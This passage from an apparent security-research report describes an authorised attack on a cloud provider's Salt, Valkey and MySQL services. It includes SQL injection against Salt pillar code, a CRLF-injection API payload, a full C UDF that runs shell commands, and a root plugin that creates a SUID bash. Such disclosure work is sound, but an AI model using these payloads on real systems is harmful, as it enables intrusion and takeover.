    After gaining root access to the control plane node, the focus shifted to the SaltStack configuration management service.

    3.1. Analysis of salt fs

    The first step was to dump the entire Salt master file system for subsequent static analysis:

    Fragment of the Salt Master file list

    Fragment of the Salt Master file list

    It contained numerous files.

    salt-call --out=newline_values_only cp.list_master saltenv=redacted | sed '/^$/d' | while read -r f; do
          mkdir -p "/tmp/dump/$(dirname "$f")"
          salt-call --out=newline_values_only cp.get_file "salt://$f" "/tmp/dump/$f" saltenv=redacted >/dev/null
        done

    Because the Salt version in use was up to date, no known CVEs were applicable. However, we found a custom script (_pillar/somebase.py) with a critical vulnerability among the files on the Salt master. The vendor had written it to service minions running the somebase service. The vulnerability is an insecure SQL query construction through the query.format() method:

    sql = query.format(
                minion_id=minion_id,
                pillar={**pillar, **results},
                grains=__grains__,
            )
            loaded_items = db_connections[db_alias].load_object_list(sql)

    A Salt minion can trigger a pillar refresh and pass arbitrary metadata (grains) to the Salt master. This allows an attacker to inject SQL code through the some_id parameter inside grains. When the extension on the Salt master side processes the request, the generated SQL query is executed in the prod-cloud database. As a result, the vulnerability makes an error-based SQL injection possible.

    Database error during pillar processing

    Database error during pillar processing

    3.2. Exploiting the SQLi

    This vulnerability provided access to various database schemas. The most interesting one was the cloudsmth schema, which contained about 50 tables with metadata of all managed resources and VDS.

     Fragment of the table list in the cloudsmth schema

    Fragment of the table list in the cloudsmth schema

    Even more notable was the salt-masters table, which held authentication tokens for all Salt masters.

    Records with Salt Master authentication tokens

    Records with Salt Master authentication tokens

    With these tokens, we could access the Salt master REST API and run arbitrary commands on all minions in the cloud:

    curl -k https://salt-master:8000   -H "Accept: application/json"   -H "Content-Type: application/json"   -H "X-Auth-Token: REDACTED"   -d '[{"client":"local","tgt":"hostname-minion","fun":"cmd.run","arg":["id; hostname"]}]'

    By agreement with the vendor, the attack was not developed further. Even so, access to the salt-masters table and the prod-cloud database would have made it possible to take over all resources, including VDS, S3, and other services, in a single step.

    4. Other ways to attack the cloud

    It’s worth mentioning other ways to get into the overlay network, since some of them also produced interesting cases.

    4.1. Exploiting a vulnerability in Managed Valkey

    During analysis of the Valkey instances deployed in the cloud infrastructure, we found that the software version in use was vulnerable to CVE-2026-25243. At the time of the analysis, no public proofs of concept (PoCs) or exploits existed. To study how the vulnerability manifests, we analyzed the diagnostic data returned by the INFO command:

    valkey_version=7.2.11
    redis_version=7.2.4
    redis_git_sha1=97b6663c
    redis_git_dirty=0
    redis_build_id=a75ca2f023d97d88
    gcc_version=13.3.0
    arch_bits=64
    os=Linux 6.8.0-124-generic x86_64
    executable=/usr/bin/valkey-server

    The redis_build_id identifier made it possible to determine the exact binary in use. It matched the official build for Ubuntu Noble x86_64.

    CVE-2026-25243 is caused by the RESTORE command handling serialized RDB objects incorrectly. When the legacy hash-zipmap encoding is used, the validator accepts a 5-byte length representation for a short key, but the parser that follows interprets the key’s internal bytes as the encoding of the value length. This mismatch can cause an out-of-bounds write that overwrites adjacent heap chunks (heap overflow), which can potentially lead to an arbitrary write primitive. After the successful arbitrary write to adjacent memory regions, strict systemd sandbox rules presented an obstacle:

    NoExecPaths=/
    ExecPaths=/usr/bin/valkey-server /usr/lib /lib
    CapabilityBoundingSet=
    NoNewPrivileges=true
    PrivateUsers=true
    ProtectSystem=strict
    ProtectHome=true
    SystemCallFilter=@system-service
    SystemCallFilter=~ @privileged @resources

    These parameters block the execution of standard shells, such as /bin/sh. Even so, the /tmp directory was mounted with write access. By modifying the process logic, we could trigger the download and execution of a third-party component from /tmp, which wasn’t covered by the noexec rule. After establishing a stable communication channel, we added an SSH key to /var/lib/valkey/.ssh/authorized_keys. This gave us independent access to the host and the ability to escalate privileges further through standard local privilege escalation (LPE) methods.

    Valkey process context and Salt grains parameters

    Valkey process context and Salt grains parameters

    The GRO Frag vulnerability was triggered in this case, but new LPEs are disclosed every week, so there may be many other ways to escalate privileges and continue the attack on the Salt master.

    4.2. MySQL

    The MySQL database user didn’t have root privileges when the resource was created.

    DROP TABLE IF EXISTS mysql.global_grants;
    CREATE TABLE mysql.global_grants (
    USER char(32) NOT NULL DEFAULT '',
    HOST char(255) NOT NULL DEFAULT '',
    PRIV char(32) NOT NULL DEFAULT '',
    WITH_GRANT_OPTION enum('N','Y') NOT NULL DEFAULT 'N',
    PRIMARY KEY (USER, HOST, PRIV)
    ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb3 STATS_PERSISTENT=0;

    However, the application logic allowed this user to drop and recreate the table with dynamic privileges:

    DROP TABLE IF EXISTS mysql.user;
    
      CREATE TABLE mysql.user (
        Host char(255) NOT NULL DEFAULT '%',
        User char(32) NOT NULL DEFAULT '',
        Select_priv enum('N','Y') NOT NULL DEFAULT 'Y',
        Insert_priv enum('N','Y') NOT NULL DEFAULT 'Y',
        Update_priv enum('N','Y') NOT NULL DEFAULT 'Y',
        Delete_priv enum('N','Y') NOT NULL DEFAULT 'Y',
        Create_priv enum('N','Y') NOT NULL DEFAULT 'Y',
        Drop_priv enum('N','Y') NOT NULL DEFAULT 'Y',
        Reload_priv enum('N','Y') NOT NULL DEFAULT 'Y',
        Shutdown_priv enum('N','Y') NOT NULL DEFAULT 'Y',
        Process_priv enum('N','Y') NOT NULL DEFAULT 'Y',
        File_priv enum('N','Y') NOT NULL DEFAULT 'Y',
        Grant_priv enum('N','Y') NOT NULL DEFAULT 'Y',
        References_priv enum('N','Y') NOT NULL DEFAULT 'Y',
        Index_priv enum('N','Y') NOT NULL DEFAULT 'Y',
        Alter_priv enum('N','Y') NOT NULL DEFAULT 'Y',
        Show_db_priv enum('N','Y') NOT NULL DEFAULT 'Y',
        Super_priv enum('N','Y') NOT NULL DEFAULT 'Y',
        Create_tmp_table_priv enum('N','Y') NOT NULL DEFAULT 'Y',
        Lock_tables_priv enum('N','Y') NOT NULL DEFAULT 'Y',
        Execute_priv enum('N','Y') NOT NULL DEFAULT 'Y',
        Repl_slave_priv enum('N','Y') NOT NULL DEFAULT 'Y',
        Repl_client_priv enum('N','Y') NOT NULL DEFAULT 'Y',
        Create_view_priv enum('N','Y') NOT NULL DEFAULT 'Y',
        Show_view_priv enum('N','Y') NOT NULL DEFAULT 'Y',
        Create_routine_priv enum('N','Y') NOT NULL DEFAULT 'Y',
        Alter_routine_priv enum('N','Y') NOT NULL DEFAULT 'Y',
        Create_user_priv enum('N','Y') NOT NULL DEFAULT 'Y',
        Event_priv enum('N','Y') NOT NULL DEFAULT 'Y',
        Trigger_priv enum('N','Y') NOT NULL DEFAULT 'Y',
        Create_tablespace_priv enum('N','Y') NOT NULL DEFAULT 'Y',
        ssl_type enum('','ANY','X509','SPECIFIED') NOT NULL DEFAULT '',
        ssl_cipher blob NOT NULL,
        x509_issuer blob NOT NULL,
        x509_subject blob NOT NULL,
        max_questions int unsigned NOT NULL DEFAULT 0,
        max_updates int unsigned NOT NULL DEFAULT 0,
        max_connections int unsigned NOT NULL DEFAULT 0,
        max_user_connections int unsigned NOT NULL DEFAULT 0,
        plugin char(64) NOT NULL DEFAULT 'caching_sha2_password',
        authentication_string text,
        password_expired enum('N','Y') NOT NULL DEFAULT 'N',
        password_last_changed timestamp NULL DEFAULT NULL,
        password_lifetime smallint unsigned DEFAULT NULL,
        account_locked enum('N','Y') NOT NULL DEFAULT 'N',
        Create_role_priv enum('N','Y') NOT NULL DEFAULT 'Y',
        Drop_role_priv enum('N','Y') NOT NULL DEFAULT 'Y',
        Password_reuse_history smallint unsigned DEFAULT NULL,
        Password_reuse_time smallint unsigned DEFAULT NULL,
        Password_require_current enum('N','Y') DEFAULT NULL,
        User_attributes json DEFAULT NULL,
        PRIMARY KEY (Host, User)
      ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb3 STATS_PERSISTENT=0;

    After the database was restarted and a new user was created, that user automatically received full administrator privileges. Next, we added more privileges:

    INSERT INTO mysql.global_grants VALUES ('newadm','%','SYSTEM_VARIABLES_ADMIN','Y');
    INSERT INTO mysql.global_grants VALUES ('newadm','%','PERSIST_RO_VARIABLES_ADMIN','Y');
    INSERT INTO mysql.global_grants VALUES ('newadm','%','SYSTEM_USER','Y');
    FLUSH PRIVILEGES;

    Having escalated privileges in the database, we now needed to achieve RCE. We compiled a custom UDF library to run system commands.

    #include <stdlib.h>
    #include <string.h>
    #include <stdio.h>
    
    typedef unsigned long long udf_args_type;
    
    typedef struct {
     unsigned int arg_count;
     unsigned int *arg_type;
     char **args;
     unsigned long *lengths;
     char *maybe_null;
     char **attributes;
     unsigned long *attribute_lengths;
     void *extension;
    } UDF_ARGS;
    
    typedef struct {
     char maybe_null;
     unsigned int decimals;
     unsigned long max_length;
     char *ptr;
     char const_item;
     void *extension;
    } UDF_INIT;
    
    int sys_eval_init(UDF_INIT *initid, UDF_ARGS *args, char *message) {
     if (args->arg_count != 1) {
         strcpy(message, "sys_eval requires one argument");
         return 1;
     }
     initid->max_length = 65535;
     return 0;
    }
    
    void sys_eval_deinit(UDF_INIT *initid) {}
    
    char* sys_eval(UDF_INIT *initid, UDF_ARGS *args, char *result,
                unsigned long *length, char *is_null, char *error) {
     if (!args->args[0]) { *is_null = 1; return NULL; }
     char cmd[65535];
     snprintf(cmd, sizeof(cmd), "%.*s", (int)args->lengths[0], args->args[0]);
     FILE *pipe = popen(cmd, "r");
     if (!pipe) { *is_null = 1; return NULL; }
     static char buf[65535];
     size_t total = 0;
     while (total < sizeof(buf)-1) {
         size_t n = fread(buf+total, 1, sizeof(buf)-1-total, pipe);
         if (n == 0) break;
         total += n;
     }
     pclose(pipe);
     buf[total] = '\0';
     *length = total;
     return buf;
    }

    RCE was achieved through a CRLF injection into the configuration file through the cloud provider’s API:

    curl -s -X PATCH "https://somecloud/api/dbaas/id" \
      -H "Content-Type: application/json" \
      -H "Authorization: Bearer $TOKEN" \
      -d '{"config_parameters":{"default-time-zone":"+00:00\nsecure_file_priv=\nplugin_dir=/var/lib/mysql-files/\ndefault-time-zone=+00:00\n#"}}'

    This vector made it possible to inject line breaks and override critical configuration parameters:

    default-time-zone="+00:00
    secure_file_priv= # removes write restrictions so files can be saved to any directory the MySQL user can access.
    plugin_dir=/var/lib/mysql-files/ # sets a trusted directory for loading dynamic libraries.

    With the write permissions obtained, a malicious UDF library (shared object) was written to the target directory through the following SQL statement:

    SELECT UNHEX('$hex') INTO DUMPFILE '/var/lib/mysql-files/rce.so

    We restarted the MySQL database to apply the updated configuration and initialize the registered plug-in:

    CREATE FUNCTION sys_eval RETURNS STRING SONAME 'rce.so';
    Result of executing id via MySQL UDF

    Result of executing id via MySQL UDF

    The list of active services was analyzed to identify opportunities for local privilege escalation to root. It turned out that the mysql-watcher.service ran with administrator privileges and periodically launched a Python script that accessed MySQL through the system client. To exploit this, we compiled another plug-in:

    #include <stdlib.h>
    __attribute__((constructor)) static void init(void) {
      system("cp /bin/bash /tmp/rbash && chmod 4755 /tmp/rbash");
    }

    We injected the path to the directory containing the malicious library (.so file, plugin_dir parameter) and the authentication plug-in name default-auth=plugname into the [client] section of the /etc/mysql/my.cnf configuration file. The next time the background mysql-watcher.service starts the MySQL client as root, the plug-in described above executes on the server host. This causes a system command to run and creates a copy of the Bash interpreter with the SUID bit set (/tmp/rbash), which completes the chain leading to full host compromise.

    Conclusion

    The cloud provider’s infrastructure was built on in-house components rather than standard open-source solutions, which created a non-trivial attack surface. The research also identified other vulnerabilities, but they were left out of the report because they were standard. Based on the findings, the vendor was given recommendations for strengthening its security posture. The recommendations covered isolating managed services to remove network visibility between them, enforcing strict AppArmor policies to isolate service processes, and adding monitoring of how potentially vulnerable services are used.

    Source: Securelist (Kaspersky GReAT) · 2026-10-27